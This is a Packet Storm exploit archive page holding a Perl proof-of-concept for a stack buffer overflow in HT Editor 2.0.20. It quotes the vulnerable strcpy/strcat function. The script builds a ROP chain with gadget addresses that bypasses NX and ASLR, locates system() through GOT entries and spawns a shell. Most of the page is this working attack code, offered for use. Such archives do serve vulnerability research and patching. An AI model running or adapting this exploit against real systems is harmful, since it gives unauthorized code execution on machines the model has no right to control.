exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

HT Editor 2.0.20 Buffer Overflow

HT Editor 2.0.20 Buffer Overflow
Posted Nov 13, 2012
Authored by ZadYree

HT Editor version 2.0.20 buffer overflow ROP proof of concept exploit.

tags | exploit, overflow, proof of concept
SHA-256 | 49bab92cc9715b4094781b154fb2921a41a348687cb6f6d38dd2f7646e1a7587

HT Editor 2.0.20 Buffer Overflow

Change Mirror Download
#!/usr/bin/perl
=head1 TITLE

HT Editor 2.0.20 Buffer Overflow (ROP PoC)

=head2 DESCRIPTION

Since version 2.0.18, the stack overflow vulnerability has not been corrected, which I assume would make it 0day?
I consequently recoded an exploit, as memory addresses have changed. I chose to
make it B<bypass NX & ASLR>, SSP not being implemented.
To be honnest, it may be the only interest, as the binary is not SUID.

Remove =begin ... annotation (at the end) to just print the command line.

=head2 USAGE

perl poc.pl /hte/path



=head3 Code

int sys_common_canonicalize(char *result, const char *filename, const char *cwd, is_path_delim delim)
{
char *o = result;
if (!sys_path_is_absolute(filename, delim)) {
if (cwd) strcpy(o, cwd); else return EINVAL; // Our buffer size depends on path length.
int ol = strlen(o);
if (ol && !delim(o[ol-1])) {
o[ol] = '/';
o[ol+1] = 0;
}
} else *o = 0;
strcat(o, filename); //<-- And here it is, good old unsecure function
int k = flatten_path(o, delim);
return (k == 0) ? 0 : EINVAL;
}

=head3 AUTHORS

* ZadYree
* 3LRVS crew

=head3 Note

The path variable (o) is also vulnerable through a strcpy() unsecure call.
Hope developpers will mind correcting both 2.


Voice on T.V.: Is today's hectic lifestyle making you tense and impatient?
Bender: Shut up and get to the point!
=cut

use 5.010;
use Cwd;

my $bin = shift;
die "[-] Bad filename.\n" unless (-e $bin);

# Let's now dive into
my $pool = [
## Fry: This snow is beautiful. I'm glad global warming never happened. ##
## Leela: Actually, it did. But thank God nuclear winter canceled it out. ##
pack('V', 0x80b395e), # pop %esi; ret;
pack('V', 0x81bd518), # endwin@GOT
pack('V', 0x80b5903), # mov %esi, %eax; pop pop pop ret;
pack('V', 0xb00b4dad) x 3, # JUNK
pack('V', 0x813527b), # mov (%eax), %eax; add $0x1c, %esp; ret;
pack('V', 0xabadf00d) x 7, # JUNK
pack('V', 0x813589b), # call *%eax;

## Amy, technology isn't intrinsecly good or evil, it's how it's used, like the Death Ray. ##
pack('V', 0x80b395e), # pop %esi; ret;
pack('V', 0x81bd3fc), # __cxa_atexit@GOT - 4 // base address whose pointer will help locating system().
pack('V', 0x80b5903), # mov %esi, %eax; pop pop pop ret;
pack('V', 0xdeadbeef) x 3, # JUNK
pack('V', 0x80c21e6), # add %eax, $0x4; ret; // Beat my 8 bit metal ass.
pack('V', 0x813527b), # mov (%eax), %eax; add $0x1c, %esp; ret; // In the game of chess, you can never let your adversary see your pieces.
pack('V', 0xdeafface) x 7, # JUNK
pack('V', 0x80b395e), # pop %esi; ret;
pack('V', 0x292ceaab), # A number to get the right
pack('V', 0x80512a6), # add %esi, %eax; pop pop pop ret;
pack('V', 0xc0b4beef) x 3, # JUNK
pack('V', 0x80d4612), # sub eax, 0x292c4e8b ; ret; // I'm not sure. I'm afraid we need to use... MATH.
pack('V', 0x813589b), # call *%eax;
pack('V', 0x804aa10), # exit@plt
pack('V', 0x816928f), # 'sh' string
];

=begin printPayload
my $buff = '"A"x' . (4107 - length(getcwd));

my $rop = join("", map {$_ = '\x' . unpack('H*', $_)} split(//, join("", @$pool)));

my $payload = qq{`perl -e 'print $buff . "$rop";'`};

say $bin . ' ' . $payload;
__END__
=end printPayload
=cut

say "[*] Executing system('sh')";

my $buff = ("A" x (4107 - length(getcwd)));
my $rop = join("", @$pool);
system($bin, $buff . $rop);
say "[+] Got Shell!";

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close